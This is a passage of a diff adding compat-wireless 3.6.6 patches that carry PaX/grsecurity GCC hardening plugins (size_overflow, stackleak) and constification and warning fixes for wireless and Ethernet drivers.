++static struct gimple_opt_pass size_overflow_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "size_overflow",
++		.gate			= NULL,
++		.execute		= handle_function,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_cfg | PROP_referenced_vars,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi | TODO_cleanup_cfg | TODO_ggc_collect | TODO_verify_flow
++	}
++};
++
++static void start_unit_callback(void __unused *gcc_data, void __unused *user_data)
++{
++	tree fntype;
++
++	const_char_ptr_type_node = build_pointer_type(build_type_variant(char_type_node, 1, 0));
++
++	// void report_size_overflow(const char *loc_file, unsigned int loc_line, const char *current_func, const char *ssa_var)
++	fntype = build_function_type_list(void_type_node,
++					  const_char_ptr_type_node,
++					  unsigned_type_node,
++					  const_char_ptr_type_node,
++					  const_char_ptr_type_node,
++					  NULL_TREE);
++	report_size_overflow_decl = build_fn_decl("report_size_overflow", fntype);
++
++	DECL_ASSEMBLER_NAME(report_size_overflow_decl);
++	TREE_PUBLIC(report_size_overflow_decl) = 1;
++	DECL_EXTERNAL(report_size_overflow_decl) = 1;
++	DECL_ARTIFICIAL(report_size_overflow_decl) = 1;
++	TREE_THIS_VOLATILE(report_size_overflow_decl) = 1;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	int i;
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	bool enable = true;
++
++	struct register_pass_info size_overflow_pass_info = {
++		.pass				= &size_overflow_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op				= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "no-size-overflow")) {
++			enable = false;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &size_overflow_plugin_info);
++	if (enable) {
++		register_callback("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL);
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &size_overflow_pass_info);
++	}
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/stackleak_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/stackleak_plugin.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/stackleak_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/stackleak_plugin.c	2012-10-15 17:30:59.835924531 +0000
+@@ -0,0 +1,313 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to help implement various PaX features
++ *
++ * - track lowest stack pointer
++ *
++ * TODO:
++ * - initialize all local variables
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++
++int plugin_is_GPL_compatible;
++
++static int track_frame_size = -1;
++static const char track_function[] = "pax_track_stack";
++static const char check_function[] = "pax_check_alloca";
++static bool init_locals;
++
++static struct plugin_info stackleak_plugin_info = {
++	.version	= "201203140940",
++	.help		= "track-lowest-sp=nn\ttrack sp in functions whose frame size is at least nn bytes\n"
++//			  "initialize-locals\t\tforcibly initialize all stack frames\n"
++};
++
++static bool gate_stackleak_track_stack(void);
++static unsigned int execute_stackleak_tree_instrument(void);
++static unsigned int execute_stackleak_final(void);
++
++static struct gimple_opt_pass stackleak_tree_instrument_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "stackleak_tree_instrument",
++		.gate			= gate_stackleak_track_stack,
++		.execute		= execute_stackleak_tree_instrument,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_gimple_leh | PROP_cfg,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa
++	}
++};
++
++static struct rtl_opt_pass stackleak_final_rtl_opt_pass = {
++	.pass = {
++		.type			= RTL_PASS,
++		.name			= "stackleak_final",
++		.gate			= gate_stackleak_track_stack,
++		.execute		= execute_stackleak_final,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_dump_func
++	}
++};
++
++static bool gate_stackleak_track_stack(void)
++{
++	return track_frame_size >= 0;
++}
++
++static void stackleak_check_alloca(gimple_stmt_iterator *gsi)
++{
++	gimple check_alloca;
++	tree fntype, fndecl, alloca_size;
++
++	fntype = build_function_type_list(void_type_node, long_unsigned_type_node, NULL_TREE);
++	fndecl = build_fn_decl(check_function, fntype);
++	DECL_ASSEMBLER_NAME(fndecl); // for LTO
++
++	// insert call to void pax_check_alloca(unsigned long size)
++	alloca_size = gimple_call_arg(gsi_stmt(*gsi), 0);
++	check_alloca = gimple_build_call(fndecl, 1, alloca_size);
++	gsi_insert_before(gsi, check_alloca, GSI_SAME_STMT);
++}
++
++static void stackleak_add_instrumentation(gimple_stmt_iterator *gsi)
++{
++	gimple track_stack;
++	tree fntype, fndecl;
++
++	fntype = build_function_type_list(void_type_node, NULL_TREE);
++	fndecl = build_fn_decl(track_function, fntype);
++	DECL_ASSEMBLER_NAME(fndecl); // for LTO
++
++	// insert call to void pax_track_stack(void)
++	track_stack = gimple_build_call(fndecl, 0);
++	gsi_insert_after(gsi, track_stack, GSI_CONTINUE_LINKING);
++}
++
++#if BUILDING_GCC_VERSION == 4005
++static bool gimple_call_builtin_p(gimple stmt, enum built_in_function code)
++{
++	tree fndecl;
++
++	if (!is_gimple_call(stmt))
++		return false;
++	fndecl = gimple_call_fndecl(stmt);
++	if (!fndecl)
++		return false;
++	if (DECL_BUILT_IN_CLASS(fndecl) != BUILT_IN_NORMAL)
++		return false;
++//	print_node(stderr, "pax", fndecl, 4);
++	return DECL_FUNCTION_CODE(fndecl) == code;
++}
++#endif
++
++static bool is_alloca(gimple stmt)
++{
++	if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA))
++		return true;
++
++#if BUILDING_GCC_VERSION >= 4007
++	if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA_WITH_ALIGN))
++		return true;
++#endif
++
++	return false;
++}
++
++static unsigned int execute_stackleak_tree_instrument(void)
++{
++	basic_block bb, entry_bb;
++	bool prologue_instrumented = false, is_leaf = true;
++
++	entry_bb = ENTRY_BLOCK_PTR_FOR_FUNCTION(cfun)->next_bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			gimple stmt;
++
++			stmt = gsi_stmt(gsi);
++
++			if (is_gimple_call(stmt))
++				is_leaf = false;
++
++			// gimple match: align 8 built-in BUILT_IN_NORMAL:BUILT_IN_ALLOCA attributes <tree_list 0xb7576450>
++			if (!is_alloca(stmt))
++				continue;
++
++			// 2. insert stack overflow check before each __builtin_alloca call
++			stackleak_check_alloca(&gsi);
++
++			// 3. insert track call after each __builtin_alloca call
++			stackleak_add_instrumentation(&gsi);
++			if (bb == entry_bb)
++				prologue_instrumented = true;
++		}
++	}
++
++	// special cases for some bad linux code: taking the address of static inline functions will materialize them
++	// but we mustn't instrument some of them as the resulting stack alignment required by the function call ABI
++	// will break other assumptions regarding the expected (but not otherwise enforced) register clobbering  ABI.
++	// case in point: native_save_fl on amd64 when optimized for size clobbers rdx if it were instrumented here.
++	if (is_leaf && !TREE_PUBLIC(current_function_decl) && DECL_DECLARED_INLINE_P(current_function_decl))
++		return 0;
++	if (is_leaf && !strncmp(IDENTIFIER_POINTER(DECL_NAME(current_function_decl)), "_paravirt_", 10))
++		return 0;
++
++	// 4. insert track call at the beginning
++	if (!prologue_instrumented) {
++		gimple_stmt_iterator gsi;
++
++		bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++		if (dom_info_available_p(CDI_DOMINATORS))
++			set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR);
++		gsi = gsi_start_bb(bb);
++		stackleak_add_instrumentation(&gsi);
++	}
++
++	return 0;
++}
++
++static unsigned int execute_stackleak_final(void)
++{
++	rtx insn;
++
++	if (cfun->calls_alloca)
++		return 0;
++
++	// keep calls only if function frame is big enough
++	if (get_frame_size() >= track_frame_size)
++		return 0;
++
++	// 1. find pax_track_stack calls
++	for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) {
++		// rtl match: (call_insn 8 7 9 3 (call (mem (symbol_ref ("pax_track_stack") [flags 0x41] <function_decl 0xb7470e80 pax_track_stack>) [0 S1 A8]) (4)) -1 (nil) (nil))
++		rtx body;
++
++		if (!CALL_P(insn))
++			continue;
++		body = PATTERN(insn);
++		if (GET_CODE(body) != CALL)
++			continue;
++		body = XEXP(body, 0);
++		if (GET_CODE(body) != MEM)
++			continue;
++		body = XEXP(body, 0);
++		if (GET_CODE(body) != SYMBOL_REF)
++			continue;
++		if (strcmp(XSTR(body, 0), track_function))
++			continue;
++//		warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size);
++		// 2. delete call
++		insn = delete_insn_and_edges(insn);
++#if BUILDING_GCC_VERSION >= 4007
++		if (GET_CODE(insn) == NOTE && NOTE_KIND(insn) == NOTE_INSN_CALL_ARG_LOCATION)
++			insn = delete_insn_and_edges(insn);
++#endif
++	}
++
++//	print_simple_rtl(stderr, get_insns());
++//	print_rtl(stderr, get_insns());
++//	warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size);
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	struct register_pass_info stackleak_tree_instrument_pass_info = {
++		.pass				= &stackleak_tree_instrument_pass.pass,
++//		.reference_pass_name		= "tree_profile",
++		.reference_pass_name		= "optimized",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++	struct register_pass_info stackleak_final_pass_info = {
++		.pass				= &stackleak_final_rtl_opt_pass.pass,
++		.reference_pass_name		= "final",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &stackleak_plugin_info);
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "track-lowest-sp")) {
++			if (!argv[i].value) {
++				error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++				continue;
++			}
++			track_frame_size = atoi(argv[i].value);
++			if (argv[i].value[0] < '0' || argv[i].value[0] > '9' || track_frame_size < 0)
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++			continue;
++		}
++		if (!strcmp(argv[i].key, "initialize-locals")) {
++			if (argv[i].value) {
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++				continue;
++			}
++			init_locals = true;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_tree_instrument_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_final_pass_info);
++
++	return 0;
++}
diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec-warnings.patch b/net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec-warnings.patch
new file mode 100644
index 00000000..825b4092
--- /dev/null
+++ b/net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec-warnings.patch
@@ -0,0 +1,177 @@
+Fixes for:
+drivers/net/wireless/ath/wil6210/cfg80211.c:527:2: warning: initialization from incompatible pointer type [enabled by default]
+drivers/net/wireless/ath/wil6210/cfg80211.c:527:2: warning: (near initialization for ‘wil_cfg80211_ops.scan’) [enabled by default]
+drivers/net/wireless/ath/wil6210/cfg80211.c:534:2: warning: initialization from incompatible pointer type [enabled by default]
+drivers/net/wireless/ath/wil6210/cfg80211.c:534:2: warning: (near initialization for ‘wil_cfg80211_ops.mgmt_tx’) [enabled by default]
+drivers/net/wireless/ath/wil6210/cfg80211.c:535:2: warning: initialization from incompatible pointer type [enabled by default]
+drivers/net/wireless/ath/wil6210/cfg80211.c:535:2: warning: (near initialization for ‘wil_cfg80211_ops.mgmt_frame_register’) [enabled by default]
+--- drivers/net/wireless/ath/wil6210/cfg80211.c
++++ drivers/net/wireless/ath/wil6210/cfg80211.c
+@@ -351,6 +351,12 @@
+ 	return wmi_send_cmd(wil, &wmi_scan);
+ }
+ 
++static int wil_cfg80211_scan_no_ndev(struct wiphy *wiphy,
++                 struct cfg80211_scan_request *request)
++{                                         
++    return wil_cfg80211_scan(wiphy, NULL, request);
++}
++
+ static int wil_cfg80211_connect(struct wiphy *wiphy, struct net_device *ndev,
+ 				 struct cfg80211_connect_params *sme)
+ {
+@@ -486,7 +492,7 @@
+ 	return 0;
+ }
+ 
+-static int wil_mgmt_tx(struct wiphy *wiphy, struct net_device *ndev,
++static int wil_mgmt_tx(struct wiphy *wiphy, struct wireless_dev *ndev,
+ 		struct ieee80211_channel *chan, bool offchan,
+ 		enum nl80211_channel_type channel_type,
+ 		bool channel_type_valid, unsigned int wait,
+@@ -502,7 +508,7 @@
+ }
+ 
+ static void wil_mgmt_frame_register(struct wiphy *wiphy,
+-		struct net_device *ndev, u16 frame_type, bool reg)
++		struct wireless_dev *ndev, u16 frame_type, bool reg)
+ {
+ 	struct wil6210_priv *wil = wiphy_to_wil(wiphy);
+ 	wil_info(wil, "%s()\n", __func__);
+@@ -524,7 +530,7 @@
+ }
+ 
+ static struct cfg80211_ops wil_cfg80211_ops = {
+-	.scan = wil_cfg80211_scan,
++	.scan = wil_cfg80211_scan_no_ndev,
+ 	.connect = wil_cfg80211_connect,
+ 	.disconnect = wil_cfg80211_disconnect,
+ 	.set_tx_power = wil_cfg80211_set_txpower,
+Fixes for:
+drivers/net/wireless/ath/ath6kl/sdio.c: In function ‘ath6kl_sdio_alloc_prep_scat_req’:
+drivers/net/wireless/ath/ath6kl/sdio.c:1478:1: warning: find_arg_number: cannot find the buf_sz argument in ath6kl_sdio_alloc_prep_scat_req [enabled by default]
+drivers/net/wireless/ath/ath6kl/sdio.c:1478:1: warning: find_arg_number: cannot find the sg_sz argument in ath6kl_sdio_alloc_prep_scat_req [enabled by default]
+--- drivers/net/wireless/ath/ath6kl/sdio.c
++++ drivers/net/wireless/ath/ath6kl/sdio.c
+@@ -341,11 +341,14 @@
+ 	scat_list_sz = (n_scat_entry - 1) * sizeof(struct hif_scatter_item);
+ 	scat_req_sz = sizeof(*s_req) + scat_list_sz;
+ 
+-	if (!virt_scat)
++	if (!virt_scat) {
+ 		sg_sz = sizeof(struct scatterlist) * n_scat_entry;
+-	else
++		buf_sz = 0;
++	} else {
++		sg_sz = 0;
+ 		buf_sz =  2 * L1_CACHE_BYTES +
+ 			  ATH6KL_MAX_TRANSFER_SIZE_PER_SCATTER;
++	}
+ 
+ 	for (i = 0; i < n_scat_req; i++) {
+ 		/* allocate the scatter request */
+Fixes for:
+drivers/net/wireless/ipw2x00/libipw_wx.c:526:21: warning: unused variable ‘dev’ [-Wunused-variable]
+--- drivers/net/wireless/ipw2x00/libipw_wx.c
++++ drivers/net/wireless/ipw2x00/libipw_wx.c
+@@ -523,7 +523,7 @@
+ 			       struct iw_request_info *info,
+ 			       union iwreq_data *wrqu, char *extra)
+ {
+-	struct net_device *dev = ieee->dev;
++	// struct net_device *dev = ieee->dev;
+ 	struct iw_point *encoding = &wrqu->encoding;
+ 	struct iw_encode_ext *ext = (struct iw_encode_ext *)extra;
+ 	int i, idx, ret = 0;
+@@ -599,7 +599,7 @@
+ 		break;
+ 	default:
+ 		LIBIPW_DEBUG_WX("%s: unknown crypto alg %d\n",
+-				   dev->name, ext->alg);
++				   ieee->dev->name, ext->alg);
+ 		ret = -EINVAL;
+ 		goto done;
+ 	}
+@@ -611,7 +611,7 @@
+ 	}
+ 	if (ops == NULL) {
+ 		LIBIPW_DEBUG_WX("%s: unknown crypto alg %d\n",
+-				   dev->name, ext->alg);
++				   ieee->dev->name, ext->alg);
+ 		ret = -EINVAL;
+ 		goto done;
+ 	}
+@@ -640,7 +640,7 @@
+ 	if (ext->key_len > 0 && (*crypt)->ops->set_key &&
+ 	    (*crypt)->ops->set_key(ext->key, ext->key_len, ext->rx_seq,
+ 				   (*crypt)->priv) < 0) {
+-		LIBIPW_DEBUG_WX("%s: key setting failed\n", dev->name);
++		LIBIPW_DEBUG_WX("%s: key setting failed\n", ieee->dev->name);
+ 		ret = -EINVAL;
+ 		goto done;
+ 	}
+Fixes for:
+compat/compat-3.7.c:37:2: warning: passing argument 1 of ‘pci_find_capability’ discards ‘const’ qualifier from pointer target type [enabled by default]
+--- compat/compat-3.7.c
++++ compat/compat-3.7.c
+@@ -29,7 +29,7 @@
+  * pci_dev but if we found it we likely would remove it from
+  * the kernel anyway right? Bite me.
+  */
+-static inline u16 pcie_flags_reg(const struct pci_dev *dev)
++static inline u16 pcie_flags_reg(struct pci_dev *dev)
+ {
+ 	int pos;
+ 	u16 reg16;
+@@ -43,12 +43,12 @@
+ 	return reg16;
+ }
+ 
+-static inline int pci_pcie_type(const struct pci_dev *dev)
++static inline int pci_pcie_type(struct pci_dev *dev)
+ {
+ 	return (pcie_flags_reg(dev) & PCI_EXP_FLAGS_TYPE) >> 4;
+ }
+ 
+-static inline int pcie_cap_version(const struct pci_dev *dev)
++static inline int pcie_cap_version(struct pci_dev *dev)
+ {
+ 	return pcie_flags_reg(dev) & PCI_EXP_FLAGS_VERS;
+ }
+@@ -58,7 +58,7 @@
+ 	return true;
+ }
+ 
+-static inline bool pcie_cap_has_lnkctl(const struct pci_dev *dev)
++static inline bool pcie_cap_has_lnkctl(struct pci_dev *dev)
+ {
+ 	int type = pci_pcie_type(dev);
+ 
+@@ -68,7 +68,7 @@
+ 	       type == PCI_EXP_TYPE_LEG_END;
+ }
+ 
+-static inline bool pcie_cap_has_sltctl(const struct pci_dev *dev)
++static inline bool pcie_cap_has_sltctl(struct pci_dev *dev)
+ {
+ 	int type = pci_pcie_type(dev);
+ 
+@@ -78,7 +78,7 @@
+ 		pcie_flags_reg(dev) & PCI_EXP_FLAGS_SLOT);
+ }
+ 
+-static inline bool pcie_cap_has_rtctl(const struct pci_dev *dev)
++static inline bool pcie_cap_has_rtctl(struct pci_dev *dev)
+ {
+ 	int type = pci_pcie_type(dev);
+ 
+--- drivers/net/wireless/ath/ath5k/debug.c
++++ drivers/net/wireless/ath/ath5k/debug.c
+@@ -58,6 +58,7 @@
+  * THE POSSIBILITY OF SUCH DAMAGES.
+  */
+ 
++#undef pr_fmt
+ #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
+ 
+ #include <linux/export.h>
diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec.patch b/net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec.patch
new file mode 100644
index 00000000..bf9e483e
--- /dev/null
+++ b/net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec.patch
@@ -0,0 +1,8363 @@
+--- drivers/net/ethernet/atheros/alx/alx_sw.h	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/ethernet/atheros/alx/alx_sw.h	2012-10-15 17:29:45.216925787 +0000
+@@ -326,7 +326,7 @@ struct alx_hw_callbacks {
+ 
+ 	/* Others */
+ 	int (*get_ethtool_regs)(struct alx_hw *, void *);
+-};
++} __no_const;
+ 
+ struct alx_hw {
+ 	struct alx_adapter	*adpt;
+--- drivers/net/ethernet/atheros/atlx/atl2.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/ethernet/atheros/atlx/atl2.c	2012-10-15 17:30:59.816924531 +0000
+@@ -2872,7 +2872,7 @@ static void atl2_force_ps(struct atl2_hw
+  */
+ 
+ #define ATL2_PARAM(X, desc) \
+-    static const int __devinitdata X[ATL2_MAX_NIC + 1] = ATL2_PARAM_INIT; \
++    static const int __devinitconst X[ATL2_MAX_NIC + 1] = ATL2_PARAM_INIT; \
+     MODULE_PARM(X, "1-" __MODULE_STRING(ATL2_MAX_NIC) "i"); \
+     MODULE_PARM_DESC(X, desc);
+ #else
+--- drivers/net/wireless/ath/ath.h	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/ath/ath.h	2012-10-15 17:30:59.818924529 +0000
+@@ -119,6 +119,7 @@ struct ath_ops {
+ 	void (*write_flush) (void *);
+ 	u32 (*rmw)(void *, u32 reg_offset, u32 set, u32 clr);
+ };
++typedef struct ath_ops __no_const ath_ops_no_const;
+ 
+ struct ath_common;
+ struct ath_bus_ops;
+--- drivers/net/wireless/ath/ath9k/ar9002_mac.c	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/ath/ath9k/ar9002_mac.c	2012-10-15 17:30:59.816924531 +0000
+@@ -184,8 +184,8 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 	ads->ds_txstatus6 = ads->ds_txstatus7 = 0;
+ 	ads->ds_txstatus8 = ads->ds_txstatus9 = 0;
+ 
+-	ACCESS_ONCE(ads->ds_link) = i->link;
+-	ACCESS_ONCE(ads->ds_data) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->ds_link) = i->link;
++	ACCESS_ONCE_RW(ads->ds_data) = i->buf_addr[0];
+ 
+ 	ctl1 = i->buf_len[0] | (i->is_last ? 0 : AR_TxMore);
+ 	ctl6 = SM(i->keytype, AR_EncrType);
+@@ -199,26 +199,26 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	if ((i->is_first || i->is_last) &&
+ 	    i->aggr != AGGR_BUF_MIDDLE && i->aggr != AGGR_BUF_LAST) {
+-		ACCESS_ONCE(ads->ds_ctl2) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl2) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ds_ctl3) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl3) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ds_ctl2) = 0;
+-		ACCESS_ONCE(ads->ds_ctl3) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl2) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl3) = 0;
+ 	}
+ 
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ds_ctl0) = 0;
+-		ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-		ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++		ACCESS_ONCE_RW(ads->ds_ctl0) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++		ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 		return;
+ 	}
+ 
+@@ -243,7 +243,7 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		break;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -253,19 +253,19 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		| (i->flags & ATH9K_TXDESC_RTSENA ? AR_RTSEnable :
+ 		   (i->flags & ATH9K_TXDESC_CTSENA ? AR_CTSEnable : 0));
+ 
+-	ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-	ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++	ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++	ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 
+ 	if (i->aggr == AGGR_BUF_MIDDLE || i->aggr == AGGR_BUF_LAST)
+ 		return;
+ 
+-	ACCESS_ONCE(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+--- drivers/net/wireless/ath/ath9k/ar9003_mac.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/ath/ath9k/ar9003_mac.c	2012-10-15 17:30:59.817924530 +0000
+@@ -39,47 +39,47 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	      (i->qcu << AR_TxQcuNum_S) | desc_len;
+ 
+ 	checksum += val;
+-	ACCESS_ONCE(ads->info) = val;
++	ACCESS_ONCE_RW(ads->info) = val;
+ 
+ 	checksum += i->link;
+-	ACCESS_ONCE(ads->link) = i->link;
++	ACCESS_ONCE_RW(ads->link) = i->link;
+ 
+ 	checksum += i->buf_addr[0];
+-	ACCESS_ONCE(ads->data0) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->data0) = i->buf_addr[0];
+ 	checksum += i->buf_addr[1];
+-	ACCESS_ONCE(ads->data1) = i->buf_addr[1];
++	ACCESS_ONCE_RW(ads->data1) = i->buf_addr[1];
+ 	checksum += i->buf_addr[2];
+-	ACCESS_ONCE(ads->data2) = i->buf_addr[2];
++	ACCESS_ONCE_RW(ads->data2) = i->buf_addr[2];
+ 	checksum += i->buf_addr[3];
+-	ACCESS_ONCE(ads->data3) = i->buf_addr[3];
++	ACCESS_ONCE_RW(ads->data3) = i->buf_addr[3];
+ 
+ 	checksum += (val = (i->buf_len[0] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl3) = val;
++	ACCESS_ONCE_RW(ads->ctl3) = val;
+ 	checksum += (val = (i->buf_len[1] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl5) = val;
++	ACCESS_ONCE_RW(ads->ctl5) = val;
+ 	checksum += (val = (i->buf_len[2] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl7) = val;
++	ACCESS_ONCE_RW(ads->ctl7) = val;
+ 	checksum += (val = (i->buf_len[3] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl9) = val;
++	ACCESS_ONCE_RW(ads->ctl9) = val;
+ 
+ 	checksum = (u16) (((checksum & 0xffff) + (checksum >> 16)) & 0xffff);
+-	ACCESS_ONCE(ads->ctl10) = checksum;
++	ACCESS_ONCE_RW(ads->ctl10) = checksum;
+ 
+ 	if (i->is_first || i->is_last) {
+-		ACCESS_ONCE(ads->ctl13) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl13) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
